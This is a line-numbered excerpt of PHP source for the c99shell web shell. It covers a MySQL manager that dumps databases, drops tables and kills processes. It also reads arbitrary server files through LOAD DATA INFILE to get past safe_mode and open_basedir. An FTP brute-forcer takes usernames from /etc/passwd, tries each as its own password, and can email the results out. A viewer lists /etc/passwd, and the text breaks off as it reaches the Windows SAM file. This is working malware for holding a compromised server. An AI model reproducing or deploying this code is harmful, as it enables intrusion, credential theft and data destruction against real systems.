  1104.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1105.      if ($dump_file) {$tmp = $dump_file;}
  1106.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1107.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1108.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1109.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1110.      echo "<br><br><input type=submit name=submit value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1111.      echo "</form>";
  1112.     }
  1113.     else
  1114.     {
  1115.      $diplay = true;
  1116.      $set = array();
  1117.      $set["sock"] = $sql_sock;
  1118.      $set["db"] = $sql_db;
  1119.      $dump_out = "download";
  1120.      $set["print"] = 0;
  1121.      $set["nl2br"] = 0;
  1122.      $set[""] = 0;
  1123.      $set["file"] = $dump_file;
  1124.      $set["add_drop"] = true;
  1125.      $set["onlytabs"] = array();
  1126.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1127.      $ret = mysql_dump($set);
  1128.      if ($sql_dump_download)
  1129.      {
  1130.       @ob_clean();
  1131.       header("Content-type: application/octet-stream");
  1132.       header("Content-length: ".strlen($ret));
  1133.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1134.       echo $ret;
  1135.       exit;
  1136.      }
  1137.      elseif ($sql_dump_savetofile)
  1138.      {
  1139.       $fp = fopen($sql_dump_file,"w");
  1140.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1141.       else
  1142.       {
  1143.        fwrite($fp,$ret);
  1144.        fclose($fp);
  1145.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1146.       }
  1147.      }
  1148.      else {echo "<b>Dump: nothing to do!</b>";}
  1149.     }
  1150.    }
  1151.    if ($diplay)
  1152.    {
  1153.     if (!empty($sql_tbl))
  1154.     {
  1155.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1156.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1157.      $count_row = mysql_fetch_array($count);
  1158.      mysql_free_result($count);
  1159.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1160.      $tbl_struct_fields = array();
  1161.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1162.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1163.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1164.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1165.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1166.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1167.      if (!is_numeric($perpage)) {$perpage = 10;}
  1168.      $numpages = $count_row[0]/$perpage;
  1169.      $e = explode(" ",$sql_order);
  1170.      if (count($e) == 2)
  1171.      {
  1172.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1173.       else {$asc_desc = "ASC";}
  1174.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1175.      }
  1176.      else {$v = "";}
  1177.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1178.      $result = mysql_query($query) or print(mysql_smarterror());
  1179.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1180.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1181.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1182.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1183.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1184.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1185.      if ($sql_tbl_act == "insert")
  1186.      {
  1187.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1188.       if (!empty($sql_tbl_insert_radio))
  1189.       {
  1190.  
  1191.       }
  1192.       else
  1193.       {
  1194.        echo "<br><br><b>Inserting row into table:</b><br>";
  1195.        if (!empty($sql_tbl_insert_q))
  1196.        {
  1197.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1198.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1199.         $sql_query .= " LIMIT 1;";
  1200.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1201.         $values = mysql_fetch_assoc($result);
  1202.         mysql_free_result($result);
  1203.        }
  1204.        else {$values = array();}
  1205.        echo "<form method=POST><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1206.        foreach ($tbl_struct_fields as $field)
  1207.        {
  1208.         $name = $field["Field"];
  1209.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1210.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1211.         $i++;
  1212.        }
  1213.        echo "</table><br>";
  1214.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1215.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=hidden name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1216.        echo "<br><br><input type=submit value=\"Confirm\"></form>";
  1217.       }
  1218.      }
  1219.      if ($sql_tbl_act == "browse")
  1220.      {
  1221.       $sql_tbl_ls = abs($sql_tbl_ls);
  1222.       $sql_tbl_le = abs($sql_tbl_le);
  1223.       echo "<hr size=\"1\" noshade>";
  1224.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1225.       $b = 0;
  1226.       for($i=0;$i<$numpages;$i++)
  1227.       {
  1228.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1229.        echo $i;
  1230.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1231.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1232.        else {echo "&nbsp;";}
  1233.       }
  1234.       if ($i == 0) {echo "empty";}
  1235.       echo "<form method=\"GET\"><input type=hidden name=act value=\"sql\"><input type=hidden name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=hidden name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=submit value=\"View\"></form>";
  1236.       echo "<br><form method=POST><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1237.       echo "<tr>";
  1238.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1239.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1240.       {
  1241.        $v = mysql_field_name($result,$i);
  1242.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1243.        else {$s = "a"; $m = "desc";}
  1244.        echo "<td>";
  1245.        if (empty($e[0])) {$e[0] = "a";}
  1246.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1247.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1248.        echo "</td>";
  1249.       }
  1250.       echo "<td><font color=green><b>Action</b></font></td>";
  1251.       echo "</tr>";
  1252.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1253.       {
  1254.        echo "<tr>";
  1255.        $w = "";
  1256.        $i = 0;
  1257.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1258.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1259.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1260.        $i = 0;
  1261.        foreach ($row as $k=>$v)
  1262.        {
  1263.         $v = htmlspecialchars($v);
  1264.         if ($v == "") {$v = "<font color=green>NULL</font>";}
  1265.         echo "<td>".$v."</td>";
  1266.         $i++;
  1267.        }
  1268.        echo "<td>";
  1269.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1270.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1271.        echo "</td>";
  1272.        echo "</tr>";
  1273.       }
  1274.       mysql_free_result($result);
  1275.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1276.       echo "<option value=\"\">With selected:</option>";
  1277.       echo "<option value=\"deleterow\">Delete</option>";
  1278.       echo "</select>&nbsp;<input type=submit value=\"Confirm\"></form></p>";
  1279.      }
  1280.     }
  1281.     else
  1282.     {
  1283.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1284.      if (!$result) {echo mysql_smarterror();}
  1285.      else
  1286.      {
  1287.       echo "<br><form method=POST><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1288.       $i = 0;
  1289.       $tsize = $trows = 0;
  1290.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1291.       {
  1292.        $tsize += $row["Data_length"];
  1293.        $trows += $row["Rows"];
  1294.        $size = view_size($row["Data_length"]);
  1295.        echo "<tr>";
  1296.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1297.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1298.        echo "<td>".$row["Rows"]."</td>";
  1299.        echo "<td>".$row["Type"]."</td>";
  1300.        echo "<td>".$row["Create_time"]."</td>";
  1301.        echo "<td>".$row["Update_time"]."</td>";
  1302.        echo "<td>".$size."</td>";
  1303.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1304.        echo "</tr>";
  1305.        $i++;
  1306.       }
  1307.       echo "<tr bgcolor=\"000000\">";
  1308.       echo "<td><center><b>»</b></center></td>";
  1309.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1310.       echo "<td><b>".$trows."</b></td>";
  1311.       echo "<td>".$row[1]."</td>";
  1312.       echo "<td>".$row[10]."</td>";
  1313.       echo "<td>".$row[11]."</td>";
  1314.       echo "<td><b>".view_size($tsize)."</b></td>";
  1315.       echo "<td></td>";
  1316.       echo "</tr>";
  1317.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1318.       echo "<option value=\"\">With selected:</option>";
  1319.       echo "<option value=\"tbldrop\">Drop</option>";
  1320.       echo "<option value=\"tblempty\">Empty</option>";
  1321.       echo "<option value=\"tbldump\">Dump</option>";
  1322.       echo "<option value=\"tblcheck\">Check table</option>";
  1323.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1324.       echo "<option value=\"tblrepair\">Repair table</option>";
  1325.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1326.       echo "</select>&nbsp;<input type=submit value=\"Confirm\"></form></p>";
  1327.       mysql_free_result($result);
  1328.      }
  1329.     }
  1330.    }
  1331.    }
  1332.   }
  1333.   else
  1334.   {
  1335.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1336.    if (in_array($sql_act,$acts)) {echo "<table border=0 width=\"100%\" height=1><tr><td width=\"30%\" height=1><b>Create new DB:</b><form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_act value=newdb><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><input type=text name=sql_newdb size=20>&nbsp;<input type=submit value=\"Create\"></form></td><td width=\"30%\" height=1><b>View File:</b><form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_act value=getfile><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><input type=text name=sql_getfile size=30 value=\"".htmlspecialchars($sql_getfile)."\">&nbsp;<input type=submit value=\"Get\"></form></td><td width=\"30%\" height=1></td></tr><tr><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td></tr></table>";}
  1337.    if (!empty($sql_act))
  1338.    {
  1339.     echo "<hr size=1 noshade>";
  1340.     if ($sql_act == "newdb")
  1341.     {
  1342.      echo "<b>";
  1343.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1344.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1345.     }
  1346.     if ($sql_act == "serverstatus")
  1347.     {
  1348.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1349.      echo "<center><b>Server-status variables:</b><br><br>";
  1350.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#433333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1351.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1352.      echo "</table></center>";
  1353.      mysql_free_result($result);
  1354.     }
  1355.     if ($sql_act == "servervars")
  1356.     {
  1357.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1358.      echo "<center><b>Server variables:</b><br><br>";
  1359.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#433333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1360.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1361.      echo "</table>";
  1362.      mysql_free_result($result);
  1363.     }
  1364.     if ($sql_act == "processes")
  1365.     {
  1366.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1367.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1368.      echo "<center><b>Processes:</b><br><br>";
  1369.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#433333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1370.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1371.      echo "</table>";
  1372.      mysql_free_result($result);
  1373.     }
  1374.     if ($sql_act == "getfile")
  1375.     {
  1376.      $tmpdb = $sql_login."_tmpdb";
  1377.      $select = mysql_select_db($tmpdb);
  1378.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1379.      if ($select)
  1380.      {
  1381.       $created = false;
  1382.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1383.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1384.       $result = mysql_query("SELECT * FROM tmp_file;");
  1385.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1386.       else
  1387.       {
  1388.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1389.        $f = "";
  1390.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1391.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1392.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1393.        mysql_free_result($result);
  1394.        mysql_query("DROP TABLE tmp_file;");
  1395.       }
  1396.      }
  1397.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1398.     }
  1399.    }
  1400.   }
  1401.  }
  1402.  echo "</td></tr></table>";
  1403.  if ($sql_sock)
  1404.  {
  1405.   $affected = @mysql_affected_rows($sql_sock);
  1406.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1407.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1408.  }
  1409.  echo "</table>";
  1410. }
  1411. if ($act == "mkdir")
  1412. {
  1413.  if ($mkdir != $d)
  1414.  {
  1415.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1416.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1417.   echo "<br><br>";
  1418.  }
  1419.  $act = $dspact = "ls";
  1420. }
  1421. if ($act == "ftpquickbrute")
  1422. {
  1423.  echo "<b>Ftp Quick brute:</b><br>";
  1424.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1425.  else
  1426.  {
  1427.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1428.   {
  1429.    if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
  1430.    else {$true = true;}
  1431.    if ($true)
  1432.    {
  1433.     $sock = @ftp_connect($host,$port,$timeout);
  1434.     if (@ftp_login($sock,$login,$pass))
  1435.     {
  1436.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1437.      ob_flush();
  1438.      return true;
  1439.     }
  1440.    }
  1441.   }
  1442.   if (!empty($submit))
  1443.   {
  1444.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1445.    $fp = fopen("/etc/passwd","r");
  1446.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1447.    else
  1448.    {
  1449.     if ($fqb_logging)
  1450.     {
  1451.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1452.      else {$fqb_logfp = false;}
  1453.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1454.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1455.     }
  1456.     ob_flush();
  1457.     $i = $success = 0;
  1458.     $ftpquick_st = getmicrotime();
  1459.     while(!feof($fp))
  1460.     {
  1461.      $str = explode(":",fgets($fp,2048));
  1462.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1463.      {
  1464.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1465.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1466.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1467.       $success++;
  1468.       ob_flush();
  1469.      }
  1470.      if ($i > $fqb_lenght) {break;}
  1471.      $i++;
  1472.     }
  1473.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1474.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1475.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1476.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1477.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1478.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1479.     fclose($fqb_logfp);
  1480.    }
  1481.   }
  1482.   else
  1483.   {
  1484.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1485.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1486.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1487.   }
  1488.  }
  1489. }
  1490. if ($act == "d")
  1491. {
  1492.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1493.  else
  1494.  {
  1495.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1496.   if (!$win)
  1497.   {
  1498.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  1499.    $ow = posix_getpwuid(fileowner($d));
  1500.    $gr = posix_getgrgid(filegroup($d));
  1501.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1502.   }
  1503.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1504.  }
  1505. }
  1506. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1507. if ($act == "security")
  1508. {
  1509.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1510.  if (!$win)
  1511.  {
  1512.   if ($nixpasswd)
  1513.   {
  1514.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1515.    echo "<b>*nix /etc/passwd:</b><br>";
  1516.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1517.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1518.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1519.    $i = $nixpwd_s;
  1520.    while ($i < $nixpwd_e)
  1521.    {
  1522.     $uid = posix_getpwuid($i);
  1523.     if ($uid)
  1524.     {
  1525.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1526.      echo join(":",$uid)."<br>";
  1527.     }
  1528.     $i++;
  1529.    }
  1530.   }
  1531.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1532.  }
  1533.  else
  1534.  {
  1535.   $v = $_SERVER["WINDIR"]."\repair\sam";
